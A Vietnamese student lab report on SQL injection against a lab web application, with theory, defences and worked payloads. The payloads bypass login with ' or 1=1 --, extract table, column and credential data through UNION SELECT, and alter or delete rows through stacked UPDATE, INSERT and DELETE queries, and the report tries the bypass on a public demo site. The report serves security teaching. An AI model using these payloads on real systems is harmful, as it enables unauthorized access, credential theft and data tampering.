Tải bản đầy đủ (.pdf) (21 trang)

Thực hành Tấn công chèn mã SQL

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (7.01 MB, 21 trang )

HỌC VIỆN CƠNG NGHỆ BƯU CHÍNH VIỄN THƠNG

-----🙞🙜🕮🙞🙜-----

Thực hành : Tấn cơng chèn mã SQL

Mơn học: An tồn và Bảo mật hệ thống thông tin
Họ và tên: Trần Văn Dinh
Mã SV: B19DCCN115
Giảng viên: Đinh Trường Duy

Hà Nội 2022


Mục lục
A_Lý thuyết
A.1_Lỗi chèn mã SQL trong các ứng dụng web và nguyên nhân
A.2_Các kĩ thuật tấn công chèn mã SQL trong ứng dụng web
A.3_Các biện pháp khắc phục
B_Nội dung thực hành
B.1_Vượt qua khâu xác thực người dùng
B.2_Trích xuất dữ liệu từ CSDL
B.3_Thêm sửa xóa
B.4_Khảo sát một số trang web
C_Kết luận sau bài thực hành

Mục đích: Thực hiện và hiểu được tấn công chèn mã SQL
Hà Nội 2022


A. Ôn tập lý thuyết


1. Lỗi chèn mã SQL trong các ứng dụng web và nguyên nhân.
- Tấn công chèn mã SQL (SQL Injection) là một kỹ thuật cho phép kẻ tấn
công chèn mã SQL vào dữ liệu gửi đến máy chủ và cuối cùng được thực
hiện trên máy chủ cơ sở dữ liệu. Tùy vào mức độ tinh vi, tấn cơng chèn
mã SQL có thể cho phép kẻ tấn công (1) vượt qua các khâu xác thực
người dùng, (2) chèn, sửa đổi, hoặc xóa dữ liệu, (3) đánh cắp các thông
tin trong cơ sở dữ liệu và (4) chiếm quyền điều khiển hệ thống máy chủ
cơ sở dữ liệu. Tấn công chèn mã SQL là dạng tấn công thường gặp ở các
ứng dụng web, các trang web có kết nối đến cơ sở dữ liệu.
-

Có 2 nguyên nhân của lỗ hổng trong ứng dụng nói chung và ứng dụng
web nói riêng cho phép thực hiện tấn cơng chèn mã SQL:
 Dữ liệu đầu vào từ người dùng hoặc từ các nguồn khác không
được kiểm tra hoặc kiểm tra không kỹ lưỡng;
 Sử dụng các câu lệnh SQL động trong ứng dụng, trong đó có thao
tác nối dữ liệu người dùng với mã lệnh SQL gốc.

2. Các kỹ thuật tấn công chèn mã SQL trong ứng dụng web (vượt qua
khâu xác thực, đánh cắp dữ liệu, chèn, sửa, xóa dữ liệu, kiểm soát hệ
thống).
- Vượt qua khâu xác thực: Tại phần đăng nhập hệ thống người dùng sẽ
nhập aaaa' OR 1=1-- vào trường username và một chuỗi bất kỳ, chẳng
hạn 'aaaa' vào trường password của form, mã xử lý hoạt động sai và
chuỗi chứa câu truy vấn SQL trở thành: 40 SELECT * FROM
tbl_accounts WHERE username='aaaa' OR 1=1--' AND password='aaaa'
Khi này do trong câu lệnh WHERE tồn tại 1=1 luôn đúng và sau
“–" được coi là ghi chú nên câu lệnh ln đúng. Nếu có ít nhất một bản
ghi trong bảng thì kẻ tấn cơng sẽ đăng nhâp thành cơng vào hệ thống.
-


-

Chèn, sửa đổi, hoặc xóa dữ liệu: Bằng cách sử dụng dấu ; có tác dụng
thực hiện nhiều câu lệnh trong SQL và - - để hủy các phần cịn lại. Kẻ tấn
cơng sẽ dễ dàng sử dụng các câu lệnh DELETE, UPDATE, INSERT để
tấn công vào hệ thống
Đánh cắp các thông tin trong cơ sở dữ liệu:
 Tìm lỗ hổng chèn mã SQL và thăm dị các thông tin về hệ quản trị cơ
sở dữ liệu:
+ Nhập một số dữ liệu mẫu để kiểm tra một trang web có chứa lỗ
hổng chèn mã SQL, như các dấu nháy đơn, dấu --,…
+ Tìm phiên bản máy chủ cơ sở dữ liệu: nhập các câu lệnh lỗi và
kiểm tra thông báo lỗi, hoặc sử dụng @@version (với MS-SQL

Hà Nội 2022


Server), hoặc version() (với MySQL) trong câu lệnh ghép với
UNION SELECT.
 Tìm thơng tin về số lượng và kiểu dữ liệu các trường của câu truy vấn
hiện tại của trang web.
+ Sử dụng mệnh đề ORDER BY
+ Sử dụng UNION SELECT 1, 2, 3, …

-

 Trích xuất thơng tin về các bảng, các trường của cơ sở dữ liệu thông
qua các bảng hệ thống (metadata).
 Sử dụng lệnh UNION SELECT để ghép các thơng tin định trích xuất

vào câu truy vấn hiện tại của ứng dụng
Chiếm quyền điều khiển hệ thống máy chủ cơ sở dữ liệu: Khả năng máy
chủ cơ sở dữ liệu bị chiếm quyền điều khiển xảy ra khi trang web tồn tại
đồng thời 2 lỗ hổng: (1) lỗ hổng cho phép tấn công chèn mã SQL và (2)
lỗ hổng thiết lập quyền truy nhập cơ sở dữ liệu. e. Khai thác 2 lỗ hổng
này, kẻ tấn cơng có thể gọi thực hiện các lệnh hệ thống của máy chủ cơ
sở dữ liệu cho phép can thiệp sâu vào cơ sở dữ liệu, hệ quản trị cơ sở dữ
liệu và cả hệ điều hành trên máy chủ. Chẳng hạn, hệ quản trị cơ sở dữ
liệu MS-SQL Server cung cấp thủ tục sp_send_dbmail cho phép gửi
email từ máy chủ cơ sở dữ liệu và thủ tục xp_cmdshell cho phép chạy
các lệnh và chương trình cài đặt trên hệ điều hành Microsoft Windows.

3. Các biện pháp khắc phục (kiểm tra dữ liệu kích thước, định dạng dữ
liệu, tạo các bộ lọc, sử dụng stored procs,...).
- Các biện pháp phòng chống dựa trên kiểm tra và lọc dữ liệu đầu vào:
 Kiểm tra tất cả các dữ liệu đầu vào, đặc biệt dữ liệu nhập từ người
dùng và từ các nguồn khơng tin cậy;
 Kiểm tra kích thước và định dạng dữ liệu đầu vào;
 Tạo các bộ lọc để lọc bỏ các ký tự đặc biệt (như *, ‘, =, --) và các từ
khóa của ngơn ngữ SQL (SELECT, INSERT, UPDATE, DELETE,
DROP,....) mà kẻ tấn cơng có thể sử dụng;
- Sử dụng thủ tục cơ sở dữ liệu (stored procedures) và cơ chế tham số hóa
dữ liệu:
 Đưa tất cả các câu truy vấn (SELECT) và cập nhật, sửa, xóa dữ liệu
(INSERT, UPDATE, DELETE) vào các thủ tục. Dữ liệu truyền vào
thủ tục thông qua các tham số, giúp tách dữ liệu khỏi mã lệnh SQL,
nhờ đó hạn ngăn chặn hiệu quả tấn công chèn mã SQL;
 Hạn chế thực hiện các câu lệnh SQL động trong thủ tục;
 Sử dụng cơ chế tham số hóa dữ liệu hỗ trợ bởi nhiều ngơn ngữ lập
trình web như ASP.NET, PHP và JSP.


Hà Nội 2022


-

Các biện pháp phòng chống dựa trên thiết lập quyền truy nhập người
dùng cơ sở dữ liệu:
 Không sử dụng người dùng có quyền quản trị hệ thống hoặc quản trị
cơ sở dữ liệu làm người dùng truy cập dữ liệu. Ví dụ: khơng dùng
người dùng sa (Microsoft SQL) hoặc root (MySQL) làm người dùng
truy cập dữ liệu. Chỉ dùng các người dùng này cho mục đích quản trị.
 Chia nhóm người dùng, chỉ cấp quyền vừa đủ để truy cập các bảng
biểu, thực hiện câu truy vấn và chạy các thủ tục.
 Tốt nhất, không cấp quyền thực hiện các câu truy vấn, cập nhật, sửa,
xóa trực tiếp trên các bảng dữ liệu. Thủ tục hóa tất cả các câu lệnh và
chỉ cấp quyền thực hiện thủ tục.
 Cấm hoặc vơ hiệu hóa (disable) việc thực hiện các thủ tục hệ thống
(các thủ tục cơ sở dữ liệu có sẵn) cho phép can thiệp vào hệ quản trị
cơ sở dữ liệu và hệ điều hành nền.
 Sử dụng các công cụ rà quét lỗ hổng chèn mã SQL, như SQLMap,
hoặc Acunetix Vulnerability Scanner để chủ động rà quét, tìm các lỗ
hổng chèn mã SQL và có biện pháp khắc phục phù hợp.

B. Nội dung thực hành
2. Vượt qua khâu xác thực người dùng
- Nhập dữ liệu cho phép đăng nhập mà khơng cần có đủ username và
password:
 Đăng nhập tự do: nhập aaaa' or 1=1 -- => username và chuỗi bất kỳ =>
password. Kết quả đăng nhập thành công với tài khoản người dùng đầu

tiên trong danh sách

Hà Nội 2022


 Giải thích: Khi người dùng nhập ‘aaaa' or 1=1 --’ mã xử lý
hoạt động sai và chuỗi chứa câu truy vấn SQL trở thành:
SELECT TOP 1 * FROM tbl_users WHERE username
= 'aaaa' or 1=1 -- ' AND password = 'a'
Do trong câu truy vấn có thành phần or 1=1 luôn đúng và
phần kiểm tra mật khẩu đã bị loại bỏ do chứa --. Do đó nếu
trong bảng tnl_users chứa ít nhất một bản ghi thì sẽ đăng
nhập được thành công
 Đăng nhập vào tài khoản một người dùng chỉ định: nhập david' -=> username và chuỗi bất kỳ => password. Kết quả đăng nhập
thành công với tài khoản người dùng david nếu tồn tại tài khoản
với user này. Thay tên người david bằng tên một người dùng khác,
nếu tồn tại sẽ đăng nhập thành cơng với người dùng đó.

Khi nhập david' –
 Giải thích: Khi người dùng nhập ‘david' --’ mã xử lý hoạt
động sai và chuỗi chứa câu truy vấn SQL trở thành:
SELECT TOP 1 * FROM tbl_users WHERE username
= 'david' -- ' AND password = 'd'
Do trong câu truy vấn có chứa (- -) nên câu lệnh phía sau sẽ
khơng được thực thi. Câu truy vấn sẽ xét nếu có ít nhất 1

Hà Nội 2022


bản ghi có username=’david’ thì sẽ chọn lấy người dùng

đầu và đăng nhập thành cơng.

Khi thay david thành abc
 Cịn khi nhập ‘abc—’ do không tồn tại username=’abc’
nên không trả về bản ghi nào vì thế sẽ bị đăng nhập sai
3. Trích xuất dữ liệu từ CSDL
- Tìm số trường trong câu truy vấn của trang:
+
sam%' order by <number>; -- , trong đó <number> là số thứ tự
của trường. Lần lượt thử với 1, 2, 3,... và quan sát kết quả cho đến khi
trang không hiển thị kết quả. <number> ở lần thử cuối cho kết quả đúng
là số trường có trong câu truy vấn.

Hà Nội 2022


Khi thử với 1,2,3

Khi thử với 4
 Có 3 trường
+
sam%' union select <danh sách trường thử>;-- , trong đó sách trường thử> có thể là 1, 2, 3,... hoặc '1', '2', '3',... Tăng dần số trường
cho đến khi trang không hiển thị kết quả hoặc báo lỗi thực hiện. Hà Nội 2022


sách trường thử> ở lần thử cuối cho kết quả đúng cho biết số trường có
trong câu truy vấn.


 Có 0 trường
-

Hiển thị thông tin hệ quản trị CSDL và hệ điều hành:
+
ssss' union select '', @@version, 0 –

Hà Nội 2022


- Trích xuất danh sách các bảng của CSDL:
+
ssss' union select '', name, 0 from sys.objects where type='u'; --

-

Trích xuất danh sách các trường của một bảng:
+
ssss' union select '', a.name, 0 from sys.columns a inner join
sys.objects b on a.object_id = b.object_id where b.name='tbl_users'; --

Hà Nội 2022


+
Thay tên bảng tbl_users bằng bảng khác có được ở mục trên để
hiển thị danh sách các trường của bảng đó.

tbl_administrators


Students

Hà Nội 2022


Tbl_products

tbl_test
-

Trích xuất dữ liệu bảng:

+ ssss' union select full_name, username+'--'+password, 0 from
tbl_users;--

Hà Nội 2022


+ Thay tên bảng và danh sách trường để trích xuất lữ liệu của các bảng
khác có được ở mục trên.

students
(ssss' union select firstname+'--'+lastname, password+'--'+student_code, 0 from
students;--)

Hà Nội 2022


Tb_administrators
(ssss' union select username, password, 0 from tbl_administrators;--)


Tbl_products
(ssss' union select product_name+'--'+product_desc, product_cost, 0 from
tbl_products;--)

Hà Nội 2022


Tbl_test
(ssss' union select id, name, 0 from tbl_test;--)

+ Trích xuất 1 bản ghi gồm tất cả các trường từ bảng students có mã sinh
viên trùng với mã sv của mình và hiển thị tồn bộ thơng tin trích xuất được
lên màn hình.

Hà Nội 2022


Trần Văn Dinh B19DCCN115
(ssss' union select firstname+'--'+lastname, password+'--'+student_code, 0 from
students where student_code='B19DCCN115' ;--)
( Lưu ý, nếu số trường của câu truy vấn mới nhiều hơn số trường trong câu
truy vấn gốc thì cần ghép các trường bằng phép nối xâu để số trường trong
UNION SELECT phải bằng số trường trong câu truy vấn gốc của trang và
kiểu dữ liệu mỗi trường trong UNION SELECT phải tương thích với kiểu dữ
liệu của trường tương ứng trong câu truy vấn gốc của trang.)
4. Thêm, sửa, xóa dữ liệu
- Thử thực hiện các lệnh thêm, sửa, xóa dữ liệu trên trang
search_error.asp:
+ samsung'; update tbl_users set password='test' where username='david';

--

Hà Nội 2022


Tbl_user có username=’david’ đã được đổi password thành test

+ samsung'; insert into tbl_users (full_name, username, password) values
('Tom Cruise','tom','abc123'); --

Hà Nội 2022


Tại tbl_users đã được thêm full_name, username, password lần lượt ('Tom
Cruise','tom','abc123')
+ samsung'; delete from tbl_users where username = 'tom';--

Hà Nội 2022


Tại tbl_user đã xóa
-

+ Thử với các câu lệnh khác
samsung'; insert into tbl_products (product_cost, product_desc,
product_name) values (100000,'Apple','Iphone10000promax'); --

Hà Nội 2022



Đã được thêm vào tbl_products
-

samsung'; update tbl_administrators set password='test' where
username='hung'; --

Tại tbl_adminstrators đã thay đổi password của username=’hung’ thành ‘test’
5. Khảo sát tối thiểu 1 trang web trên mạng có lỗi chèn mã SQL (khơng
sửa/xóa dữ liệu). Sinhviên có thể tìm các trang khác. Yêu cầu chụp
ảnh màn hình minh chứng lỗi chèn mã SQL.

Hà Nội 2022


- Thử nghiệm trên trang : Altoro Mutual (testfire.net)
Đăng nhập tự do:
+ Nhập tk : aaa' or 1=1 –
+ Nhập mk: ngẫu nhiên
Kết quả:

C..Kết luận

Hà Nội 2022



×